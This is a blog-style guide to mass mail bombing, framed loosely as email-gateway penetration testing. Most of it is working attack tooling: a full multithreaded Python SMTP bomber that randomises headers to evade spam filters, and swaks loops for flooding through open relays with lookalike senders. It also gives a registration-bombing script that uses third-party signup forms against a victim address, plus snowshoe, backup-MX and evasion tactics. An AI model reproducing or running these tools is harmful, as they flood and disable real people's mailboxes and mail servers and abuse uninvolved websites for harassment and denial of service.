How To Mass Mail Bomb (Guide)
- Biohazard

- 1 day ago
- 7 min read

Mass Mail Bombing
Here's the complete approach to mail bombing — testing email gateway resilience, rate limiting, spam filter effectiveness, and DoS conditions against mail infrastructure. This is a guide on how to mass mail bomb.
First: Define the Test Objective
Mail bombing can mean different things. Clarify which you're testing:
Test Type | What You're Doing | What You're Measuring |
Volume flood | Send thousands of emails to a single inbox | Mailbox quota limits, storage exhaustion, DoS |
Spam filter bypass | Send crafted emails that evade filters | Spam filter rules, scoring thresholds |
Rate limit testing | Rapid-fire SMTP connections | Connection throttling, greylisting, tarpitting |
Distributed inbound | Many unique senders → single target | Reputation scoring, sender verification |
Internal relay abuse | Use internal SMTP relays without auth | Open relay detection, internal ACLs |
Registration bombing | Automate signups that send confirmation emails | Third-party trust abuse |
Confirm with the client which specific scenario they want tested — the tools differ significantly.
Tool 1: Custom Python Mail Bomber
Full control over headers, timing, and content. Use this when you need precise test conditions.
python
#!/usr/bin/env python3
"""
Multi-threaded SMTP mail bomber for pentesting email infrastructure.
Supports direct delivery (MX lookup) and relay delivery.
"""
import smtplib
import threading
import time
import random
import dns.resolver
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
from queue import Queue
import argparse
import sys
class MailBomber:
def __init__(self, target_email, threads=10, count=100, delay=0,
use_mx=True, smtp_relay=None, smtp_port=25,
subject="Test Message", body_template=None,
from_domain=None, random_subjects=False, attachments=None):
self.target = target_email
self.target_domain = target_email.split('@')[1]
self.threads = threads
self.count = count
self.delay = delay
self.use_mx = use_mx
self.relay = smtp_relay
self.relay_port = smtp_port
self.subject = subject
self.body_template = body_template or "This is a penetration test email. Authorized by {client}."
self.from_domain = from_domain or self.target_domain
self.random_subjects = random_subjects
self.attachments = attachments or []
self.queue = Queue()
self.sent = 0
self.failed = 0
self.lock = threading.Lock()
# Resolve MX if doing direct delivery
if self.use_mx and not self.relay:
self.mx_servers = self._get_mx_servers()
if not self.mx_servers:
print(f"[!] No MX records found for {self.target_domain}")
sys.exit(1)
print(f"[*] MX servers: {', '.join([f'{h}(p:{p})' for h,p in self.mx_servers])}")
def _get_mx_servers(self):
"""Resolve MX records for target domain, sorted by priority."""
try:
answers = dns.resolver.resolve(self.target_domain, 'MX')
servers = []
for rdata in answers:
servers.append((str(rdata.exchange).rstrip('.'), rdata.preference))
# Sort by priority (lower = higher priority)
servers.sort(key=lambda x: x[1])
return [(h, 25) for h, _ in servers] # All return port 25 for MX
except Exception as e:
print(f"[!] DNS MX lookup failed: {e}")
return []
def _generate_from(self, idx):
"""Generate varied From: addresses to evade simple deduplication."""
names = ["Admin", "Support", "Help", "Info", "NoReply",
"Notifications", "System", "Service", "Billing", "Sales"]
name = random.choice(names)
local = f"user{idx:x}"
return formataddr((name, f"{local}@{self.from_domain}"))
def _generate_subject(self, idx):
"""Generate subject lines that don't look identical."""
if not self.random_subjects:
return self.subject
subjects = [
"Your account requires attention",
"Important: Security notification",
"Action required: Please verify your account",
"Scheduled maintenance notification",
f"Notification #{idx:08d}",
"Your recent support ticket update",
"Reminder: Complete your profile setup",
"Confirm your email preferences",
"Update: Terms of service changes",
"Unread messages in your inbox"
]
return f"{random.choice(subjects)} [{random.randint(10000, 99999)}]"
def _build_message(self, idx):
"""Build an email with varied headers to evade hash-based filters."""
msg = MIMEMultipart()
msg['From'] = self._generate_from(idx)
msg['To'] = self.target
msg['Subject'] = self._generate_subject(idx)
msg['Date'] = time.strftime('%a, %d %b %Y %H:%M:%S +0000',
time.gmtime(time.time() - random.randint(0, 86400)))
msg['Message-ID'] = f"<{idx:x}{random.randint(10000000, 99999999)}@{self.from_domain}>"
# Randomize boundary slightly
msg.set_boundary(f"==============={random.randint(1000000000, 9999999999)}==")
# Body with some entropy
body = self.body_template + f"\n\nMessage ID: TEST-{idx:010d}\nTimestamp: {time.time()}"
msg.attach(MIMEText(body, 'plain'))
return msg
def _send_one(self, idx, mx_host, mx_port):
"""Send a single message via direct MX delivery."""
try:
msg = self._build_message(idx)
with smtplib.SMTP(mx_host, mx_port, timeout=10) as server:
server.helo(self.from_domain)
# No auth for direct MX delivery
server.sendmail(msg['From'], msg['To'], msg.as_string())
return True
except Exception as e:
return False
def _send_one_relay(self, idx):
"""Send via specified SMTP relay."""
try:
msg = self._build_message(idx)
with smtplib.SMTP(self.relay, self.relay_port, timeout=10) as server:
server.helo(self.from_domain)
# Some relays require STARTTLS
try:
server.starttls()
except:
pass
server.sendmail(msg['From'], msg['To'], msg.as_string())
return True
except Exception as e:
return False
def _worker(self, thread_id):
"""Worker thread: pulls messages from queue and sends."""
while not self.queue.empty():
try:
idx = self.queue.get_nowait()
except:
break
# Pick MX server (round-robin with some randomization)
if self.relay:
success = self._send_one_relay(idx)
else:
mx = self.mx_servers[idx % len(self.mx_servers)]
success = self._send_one(idx, mx[0], mx[1])
with self.lock:
if success:
self.sent += 1
else:
self.failed += 1
total = self.sent + self.failed
if total % 50 == 0 or total == self.count:
print(f"\r[*] Progress: {total}/{self.count} "
f"(sent: {self.sent}, failed: {self.failed})", end="")
# Respect rate limiting
if self.delay > 0:
time.sleep(self.delay + random.uniform(0, self.delay * 0.5))
self.queue.task_done()
def run(self):
"""Populate queue and launch workers."""
print(f"[*] Target: {self.target}")
print(f"[*] Messages: {self.count} | Threads: {self.threads} | Delay: {self.delay}s")
for i in range(self.count):
self.queue.put(i)
threads = []
for t in range(self.threads):
th = threading.Thread(target=self._worker, args=(t,))
th.daemon = True
th.start()
threads.append(th)
start = time.time()
self.queue.join()
elapsed = time.time() - start
print(f"\n[*] Complete: {self.sent} sent, {self.failed} failed "
f"in {elapsed:.1f}s ({self.sent/elapsed:.1f} msg/s)")
return self.sent, self.failed
# ===== CLI =====
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="SMTP Mail Bomber - Pentest Tool")
parser.add_argument("-t", "--target", required=True, help="Target email address")
parser.add_argument("-c", "--count", type=int, default=100, help="Number of messages")
parser.add_argument("-T", "--threads", type=int, default=10, help="Concurrent threads")
parser.add_argument("-d", "--delay", type=float, default=0.1, help="Delay between messages (seconds)")
parser.add_argument("-r", "--relay", help="SMTP relay host (bypasses MX lookup)")
parser.add_argument("-p", "--port", type=int, default=25, help="SMTP relay port")
parser.add_argument("-s", "--subject", default="Pentest Email", help="Subject line")
parser.add_argument("--random-subjects", action="store_true", help="Vary subject lines")
parser.add_argument("--no-mx", action="store_true", help="Don't use MX delivery")
parser.add_argument("-f", "--from-domain", help="Domain for From: addresses")
args = parser.parse_args()
bomber = MailBomber(
target_email=args.target,
threads=args.threads,
count=args.count,
delay=args.delay,
use_mx=not args.no_mx,
smtp_relay=args.relay,
smtp_port=args.port,
subject=args.subject,
random_subjects=args.random_subjects,
from_domain=args.from_domain
)
bomber.run()
Usage examples:
bash
# Direct MX delivery, 1000 emails, 20 threads
python3 mailbomber.py -t victim@target.com -c 1000 -T 20 --random-subjects
# Via internal relay, no DNS needed
python3 mailbomber.py -t victim@target.com -r 192.168.1.25 -p 25 -c 5000 -T 50
# Slow burn to avoid detection thresholds
python3 mailbomber.py -t victim@target.com -c 5000 -d 2 -T 5 --random-subjectsTool 2: Swaks - Swiss Army Knife for SMTP
Swaks is pre-installed on Kali and perfect for controlled, single-message testing before scaling up.
bash
# Single test message via MX
swaks --to victim@target.com --server mx.target.com
# Test with specific headers
swaks --to victim@target.com \
--from admin@target.com \
--header-X-Priority 1 \
--body "Pentest email flow test - ignore"
# TLS check
swaks --to victim@target.com --tls --server mx.target.com
# Auth relay test
swaks --to victim@target.com \
--server smtp.target.com:587 \
--auth LOGIN \
--auth-user "user" \
--auth-password "pass" \
--tls
# Bulk mode: send N messages
for i in $(seq 1 100); do
swaks --to victim@target.com --data "Test message $i of 100" &
doneTool 3: Mass Mail via Internal Open Relay Testing
Checking for open relays is a standard pentest activity. If you find one, the blast radius is massive.
bash
# Test if a host is an open relay
nmap -p 25 --script smtp-open-relay 192.168.1.0/24
# Manual relay test with swaks
swaks --to external@other.com --server 192.168.1.25 --from user@internal.com
# If it accepts, you can relay to any address
# Mass relay bombing via open relay:
for i in $(seq 1 1000); do
swaks --to target@victim.com \
--from "noreply@legitimate-lookalike.com" \
--server $OPEN_RELAY_IP \
--body "Relay test $i" &
sleep 0.1
doneTool 4: Registration Bombing (Third-Party Abuse)
This exploits sites that send confirmation emails — you automate signups pointing at the target address, and each site sends the target a legitimate email that passes all spam filters.
python
#!/usr/bin/env python3
"""
Registration bomber - signs target email up for newsletters/accounts
on high-volume sites. Each site sends at least one welcome email.
"""
import requests
import time
import random
TARGET_EMAIL = "victim@target.com"
# Pre-researched signup endpoints that send confirmation emails
SIGNUP_TARGETS = [
# Format: (url, post_data_template, method)
# These need to be researched per engagement
# Generic newsletter signup examples:
{
"url": "https://example-newsletter.com/subscribe",
"data": {"email": TARGET_EMAIL, "name": "Test User"},
"method": "POST"
},
# Add more researched endpoints
]
def registration_bomb(targets, rounds=1):
for round_num in range(rounds):
print(f"[*] Round {round_num + 1}/{rounds}")
for target in targets:
try:
if target["method"] == "POST":
r = requests.post(
target["url"],
data=target["data"],
headers={"User-Agent": "Mozilla/5.0 (compatible; Pentest/1.0)"},
timeout=10
)
else:
r = requests.get(target["url"], params=target["data"], timeout=10)
print(f" [+] {target['url']} → {r.status_code}")
except Exception as e:
print(f" [-] {target['url']} → {e}")
time.sleep(random.uniform(0.5, 2.0)) # Don't hammer any one site
if __name__ == "__main__":
registration_bomb(SIGNUP_TARGETS, rounds=3)
For a real engagement, build your target list by crawling the web or using pre-compiled lists. There are public lists of 1,000+ newsletter signup endpoints that send confirmation emails — you'd integrate those into the script above. The key advantage: these emails come from legitimate domains with good reputation, so they bypass SPF/DKIM/DMARC and spam scoring.
Tool 5: Kali Built-In - sendemail and smtp-user-enum
bash
# Mass send via sendemail (simpler than swaks for scripting)
sendemail -f sender@domain.com \
-t victim@target.com \
-u "Test Subject" \
-m "Test body message" \
-s mx.target.com:25
# Check for valid recipients (helps focus the bomb)
smtp-user-enum -M VRFY -U users.txt -t 192.168.1.25
smtp-user-enum -M RCPT -U users.txt -t 192.168.1.25Evasion and Delivery Tactics
1. MX Rotation with Fallback
Don't just hit the primary MX. Cycle through all of them, including lower-priority backup MX servers (which often have weaker filtering):
python
# Get ALL MX servers, not just top priority
answers = dns.resolver.resolve(target_domain, 'MX')
all_mx = sorted([(str(r.exchange).rstrip('.'), r.preference) for r in answers],
key=lambda x: x[1])
# Target low-priority MX servers too
for host, prio in all_mx:
if prio > 20: # Backup MX
print(f"Targeting backup MX: {host} (priority {prio})")
2. Snowshoe Spamming
Instead of one source sending everything, distribute across many IPs and domains:
bash
# If you control multiple VPS/source IPs:
# Distribute mailbomber across them
for ip in $SOURCE_IPS; do
ssh $ip "python3 mailbomber.py -t target@victim.com -c 500 -T 10 &" &
done
3. Content Duplication Evasion
Hash-based spam filters catch identical messages. Your bomber should:
Vary subject lines (done in the script above)
Insert random whitespace, invisible characters, or salutations
Rotate Message-ID formats
Vary the Date: header by hours or days
Use different Content-Type boundaries per message
4. Timing and Throttling
Burst mode: 1000 emails in 30 seconds — tests real-time filtering
Slow burn: 10,000 emails over 24 hours — tests quota and long-term thresholds
Random intervals: Unpredictable bursts mimic real spam campaigns
Measuring Results
During the test, monitor:
bash
# On target mail server (if you have access):
# Queue size monitoring
watch -n 2 'mailq | wc -l'
# Inbound rate
tail -f /var/log/mail.log | grep "from=<" | pv -l > /dev/null
# Mailbox size (if testing quota)
du -sh /var/mail/victim
What to report:
Messages sent vs. messages delivered (delivery ratio)
Messages that hit inbox vs. spam folder
Rate at which the target mailbox filled to quota
Time until first message was quarantined/blocked
Which evasion techniques succeeded vs. failed
Whether backup MX servers accepted mail the primary rejected
Critical Operational Notes
For direct MX delivery: You need a server with outbound port 25 that's not blocked. Many cloud providers (AWS, GCP, DigitalOcean) block outbound 25 by default. You'll need to request unblocking from their support or use a VPS provider that allows it. Alternatively, test from on-prem infrastructure.
SPF/DKIM/DMARC will fail on direct MX delivery unless you control a domain and sign messages. This means your test emails will land in spam. Coordinate with the client on whether this is what they want tested, or if they want to pre-whitelist your sending IPs.
Mail bombing can cause real damage. Even on an authorized test:
A full mailbox blocks legitimate email for that user
High-volume inbound can overwhelm the mail server for ALL users
Some security appliances auto-block sending IPs permanently
Confirm rollback procedures with the client before starting
Have a stop signal agreed upon — a simple kill switch




Comments